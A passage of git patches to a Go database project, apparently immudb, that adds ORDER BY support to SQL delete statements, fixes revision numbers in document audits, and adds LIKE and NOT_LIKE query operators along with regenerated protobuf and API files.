+1004,14 @@ type colUpdate struct { val ValueExp } +func NewColUpdate(col string, val ValueExp) *colUpdate { + return &colUpdate{ + col: col, + op: EQ, + val: val, + } +} + func (stmt *UpdateStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { selectStmt := &SelectStmt{ ds: stmt.tableRef, @@ -1160,26 +1160,29 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return tx, nil } -func NewDeleteFromStmt(table string, where ValueExp, limit ValueExp) *DeleteFromStmt { - return &DeleteFromStmt{ - tableRef: newTableRef(table, ""), - where: where, - limit: limit, - } -} - type DeleteFromStmt struct { tableRef *tableRef where ValueExp indexOn []string + orderBy []*OrdCol limit ValueExp offset ValueExp } +func NewDeleteFromStmt(table string, where ValueExp, orderBy []*OrdCol, limit ValueExp) *DeleteFromStmt { + return &DeleteFromStmt{ + tableRef: newTableRef(table, ""), + where: where, + orderBy: orderBy, + limit: limit, + } +} + func (stmt *DeleteFromStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { selectStmt := &SelectStmt{ - ds: stmt.tableRef, - where: stmt.where, + ds: stmt.tableRef, + where: stmt.where, + orderBy: stmt.orderBy, } return selectStmt.inferParameters(ctx, tx, params) } @@ -1189,6 +1192,7 @@ func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[st ds: stmt.tableRef, where: stmt.where, indexOn: stmt.indexOn, + orderBy: stmt.orderBy, limit: stmt.limit, offset: stmt.offset, } @@ -1466,14 +1470,14 @@ func (v *NullValue) selectorRanges(table *Table, asTable string, params map[stri return nil } -func NewInteger(val int64) *Integer { - return &Integer{val: val} -} - type Integer struct { val int64 } +func NewInteger(val int64) *Integer { + return &Integer{val: val} +} + func (v *Integer) Type() SQLValueType { return IntegerType } @@ -1615,14 +1619,14 @@ func (v *Timestamp) Compare(val TypedValue) (int, error) { return 0, nil } -func NewVarchar(val string) *Varchar { - return &Varchar{val: val} -} - type Varchar struct { val string } +func NewVarchar(val string) *Varchar { + return &Varchar{val: val} +} + func (v *Varchar) Type() SQLValueType { return VarcharType } @@ -1755,14 +1759,14 @@ func (v *Bool) Compare(val TypedValue) (int, error) { return -1, nil } -func NewBlob(val []byte) *Blob { - return &Blob{val: val} -} - type Blob struct { val []byte } +func NewBlob(val []byte) *Blob { + return &Blob{val: val} +} + func (v *Blob) Type() SQLValueType { return BLOBType } @@ -1821,14 +1825,14 @@ func (v *Blob) Compare(val TypedValue) (int, error) { return bytes.Compare(v.val, rval), nil } -func NewFloat64(val float64) *Float64 { - return &Float64{val: val} -} - type Float64 struct { val float64 } +func NewFloat64(val float64) *Float64 { + return &Float64{val: val} +} + func (v *Float64) Type() SQLValueType { return Float64Type } @@ -2140,39 +2144,39 @@ type DataSource interface { Alias() string } +type SelectStmt struct { + distinct bool + selectors []Selector + ds DataSource + indexOn []string + joins []*JoinSpec + where ValueExp + groupBy []*ColSelector + having ValueExp + orderBy []*OrdCol + limit ValueExp + offset ValueExp + as string +} + func NewSelectStmt( selectors []Selector, table string, where ValueExp, + orderBy []*OrdCol, limit ValueExp, offset ValueExp, - orderBy []*OrdCol, ) *SelectStmt { return &SelectStmt{ selectors: selectors, ds: newTableRef(table, ""), where: where, + orderBy: orderBy, limit: limit, offset: offset, - orderBy: orderBy, } } -type SelectStmt struct { - distinct bool - selectors []Selector - ds DataSource - indexOn []string - joins []*JoinSpec - where ValueExp - groupBy []*ColSelector - having ValueExp - limit ValueExp - offset ValueExp - orderBy []*OrdCol - as string -} - func (stmt *SelectStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { _, err := stmt.execAt(ctx, tx, nil) if err != nil { @@ -2671,6 +2675,11 @@ type JoinSpec struct { indexOn []string } +type OrdCol struct { + sel *ColSelector + descOrder bool +} + func NewOrdCol(table string, col string, descOrder bool) *OrdCol { return &OrdCol{ sel: NewColSelector(table, col), @@ -2678,11 +2687,6 @@ func NewOrdCol(table string, col string, descOrder bool) *OrdCol { } } -type OrdCol struct { - sel *ColSelector - descOrder bool -} - type Selector interface { ValueExp resolve(implicitTable string) (aggFn, table, col string) @@ -2690,6 +2694,12 @@ type Selector interface { setAlias(alias string) } +type ColSelector struct { + table string + col string + as string +} + func NewColSelector(table, col string) *ColSelector { return &ColSelector{ table: table, @@ -2697,12 +2707,6 @@ func NewColSelector(table, col string) *ColSelector { } } -type ColSelector struct { - table string - col string - as string -} - func (sel *ColSelector) resolve(implicitTable string) (aggFn, table, col string) { table = implicitTable if sel.table != "" { @@ -3187,6 +3191,11 @@ func (bexp *LikeBoolExp) selectorRanges(table *Table, asTable string, params map return nil } +type CmpBoolExp struct { + op CmpOperator + left, right ValueExp +} + func NewCmpBoolExp(op CmpOperator, left, right ValueExp) *CmpBoolExp { return &CmpBoolExp{ op: op, @@ -3195,11 +3204,6 @@ func NewCmpBoolExp(op CmpOperator, left, right ValueExp) *CmpBoolExp { } } -type CmpBoolExp struct { - op CmpOperator - left, right ValueExp -} - func (bexp *CmpBoolExp) Left() ValueExp { return bexp.left } @@ -3437,6 +3441,11 @@ func cmpSatisfiesOp(cmp int, op CmpOperator) bool { return false } +type BinBoolExp struct { + op LogicOperator + left, right ValueExp +} + func NewBinBoolExp(op LogicOperator, lrexp, rrexp ValueExp) *BinBoolExp { bexp := &BinBoolExp{ op: op, @@ -3448,11 +3457,6 @@ func NewBinBoolExp(op LogicOperator, lrexp, rrexp ValueExp) *BinBoolExp { return bexp } -type BinBoolExp struct { - op LogicOperator - left, right ValueExp -} - func (bexp *BinBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { err := bexp.left.requiresType(BooleanType, cols, params, implicitTable) if err != nil { @@ -4036,15 +4040,15 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } -func NewDropTableStmt(table string) *DropTableStmt { - return &DropTableStmt{table: table} -} - // DropTableStmt represents a statement to delete a table. type DropTableStmt struct { table string } +func NewDropTableStmt(table string) *DropTableStmt { + return &DropTableStmt{table: table} +} + func (stmt *DropTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } From f9228bddb1c57b96691c34f2bd31285dafd96c96 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 8 May 2023 18:03:25 -0300 Subject: [PATCH 0528/1062] fix(embedded/document): assign correct revision number Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index c75b5690dc..eb3caaa67b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -772,22 +772,33 @@ func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docID return nil, err } - txIDs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), desc, limit) + txIDs, hCount, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), desc, limit) if err != nil { return nil, err } + revision := offset + 1 + if desc { + revision = hCount - offset + } + results := make([]*protomodel.DocumentAtRevision, 0) - for i, txID := range txIDs { + for _, txID := range txIDs { docAtRevision, err := e.getDocumentAtRevision(searchKey, txID, false) if err != nil { return nil, err } - docAtRevision.Revision = uint64(i) + 1 + docAtRevision.Revision = revision results = append(results, docAtRevision) + + if desc { + revision-- + } else { + revision++ + } } return results, nil From d00ca61f4c0ee7bae3dd867031731d6fa26113c6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 8 May 2023 19:14:46 -0300 Subject: [PATCH 0529/1062] fix(pkg/api): fix and implement LIKE and NOT_LIKE operator when querying documents Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 59 +++++- embedded/sql/stmt.go | 8 + pkg/api/httpclient/client.go | 15 +- pkg/api/openapi/apidocs.swagger.json | 3 +- pkg/api/proto/documents.proto | 1 + pkg/api/protomodel/docs.md | 1 + pkg/api/protomodel/documents.pb.go | 294 ++++++++++++++------------- 7 files changed, 225 insertions(+), 156 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index eb3caaa67b..572a0b4e30 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -828,12 +828,32 @@ func generateSQLFilteringExpression(expressions []*protomodel.QueryExpression, t colSelector := sql.NewColSelector(table.Name(), exp.Field) - fieldComparisonExp := sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) + var fieldExp sql.ValueExp + + switch exp.Operator { + case protomodel.ComparisonOperator_LIKE: + { + fieldExp = sql.NewLikeBoolExp(colSelector, false, value) + } + case protomodel.ComparisonOperator_NOT_LIKE: + { + fieldExp = sql.NewLikeBoolExp(colSelector, true, value) + } + default: + { + sqlCmpOp, err := sqlCmpOperatorFor(exp.Operator) + if err != nil { + return nil, err + } + + fieldExp = sql.NewCmpBoolExp(sqlCmpOp, colSelector, value) + } + } if i == 0 { - innerExp = fieldComparisonExp + innerExp = fieldExp } else { - innerExp = sql.NewBinBoolExp(sql.AND, innerExp, fieldComparisonExp) + innerExp = sql.NewBinBoolExp(sql.AND, innerExp, fieldExp) } } @@ -847,6 +867,39 @@ func generateSQLFilteringExpression(expressions []*protomodel.QueryExpression, t return outerExp, nil } +func sqlCmpOperatorFor(op protomodel.ComparisonOperator) (sql.CmpOperator, error) { + switch op { + case protomodel.ComparisonOperator_EQ: + { + return sql.EQ, nil + } + case protomodel.ComparisonOperator_NE: + { + return sql.NE, nil + } + case protomodel.ComparisonOperator_LT: + { + return sql.LT, nil + } + case protomodel.ComparisonOperator_LE: + { + return sql.LE, nil + } + case protomodel.ComparisonOperator_GT: + { + return sql.GT, nil + } + case protomodel.ComparisonOperator_GE: + { + return sql.GE, nil + } + default: + { + return 0, fmt.Errorf("%w: unsupported operator ('%s')", ErrIllegalArguments, op) + } + } +} + func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { table, err := getTableForCollection(sqlTx, collectionName) if err != nil { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 228e8b1832..b7bd227a81 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -3096,6 +3096,14 @@ type LikeBoolExp struct { pattern ValueExp } +func NewLikeBoolExp(val ValueExp, notLike bool, pattern ValueExp) *LikeBoolExp { + return &LikeBoolExp{ + val: val, + notLike: notLike, + pattern: pattern, + } +} + func (bexp *LikeBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if bexp.val == nil || bexp.pattern == nil { return AnyType, fmt.Errorf("error in 'LIKE' clause: %w", ErrInvalidCondition) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 9064bdbc27..9a03a6e7e5 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -22,13 +22,14 @@ const ( // Defines values for ModelComparisonOperator. const ( - EQ ModelComparisonOperator = "EQ" - GE ModelComparisonOperator = "GE" - GT ModelComparisonOperator = "GT" - LE ModelComparisonOperator = "LE" - LIKE ModelComparisonOperator = "LIKE" - LT ModelComparisonOperator = "LT" - NE ModelComparisonOperator = "NE" + EQ ModelComparisonOperator = "EQ" + GE ModelComparisonOperator = "GE" + GT ModelComparisonOperator = "GT" + LE ModelComparisonOperator = "LE" + LIKE ModelComparisonOperator = "LIKE" + LT ModelComparisonOperator = "LT" + NE ModelComparisonOperator = "NE" + NOTLIKE ModelComparisonOperator = "NOT_LIKE" ) // Defines values for ModelFieldType. diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 9ff8f26c14..7cbc4ffaad 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -692,7 +692,8 @@ "LE", "GT", "GE", - "LIKE" + "LIKE", + "NOT_LIKE" ], "default": "EQ" }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 4702deb1a3..127ba33873 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -185,6 +185,7 @@ enum ComparisonOperator { GT = 4; GE = 5; LIKE = 6; + NOT_LIKE = 7; } message OrderByClause { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 9e5da24042..3d93cac855 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -749,6 +749,7 @@ | GT | 4 | | | GE | 5 | | | LIKE | 6 | | +| NOT_LIKE | 7 | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 293f5081a2..3b455e8de5 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -94,13 +94,14 @@ func (FieldType) EnumDescriptor() ([]byte, []int) { type ComparisonOperator int32 const ( - ComparisonOperator_EQ ComparisonOperator = 0 - ComparisonOperator_NE ComparisonOperator = 1 - ComparisonOperator_LT ComparisonOperator = 2 - ComparisonOperator_LE ComparisonOperator = 3 - ComparisonOperator_GT ComparisonOperator = 4 - ComparisonOperator_GE ComparisonOperator = 5 - ComparisonOperator_LIKE ComparisonOperator = 6 + ComparisonOperator_EQ ComparisonOperator = 0 + ComparisonOperator_NE ComparisonOperator = 1 + ComparisonOperator_LT ComparisonOperator = 2 + ComparisonOperator_LE ComparisonOperator = 3 + ComparisonOperator_GT ComparisonOperator = 4 + ComparisonOperator_GE ComparisonOperator = 5 + ComparisonOperator_LIKE ComparisonOperator = 6 + ComparisonOperator_NOT_LIKE ComparisonOperator = 7 ) // Enum value maps for ComparisonOperator. @@ -113,15 +114,17 @@ var ( 4: "GT", 5: "GE", 6: "LIKE", + 7: "NOT_LIKE", } ComparisonOperator_value = map[string]int32{ - "EQ": 0, - "NE": 1, - "LT": 2, - "LE": 3, - "GT": 4, - "GE": 5, - "LIKE": 6, + "EQ": 0, + "NE": 1, + "LT": 2, + "LE": 3, + "GT": 4, + "GE": 5, + "LIKE": 6, + "NOT_LIKE": 7, } ) @@ -2402,146 +2405,147 @@ var file_documents_proto_rawDesc = []byte{ 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, - 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, + 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, - 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xa1, 0x0f, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, + 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xa1, 0x0f, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x25, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, + 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, + 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, + 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, + 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 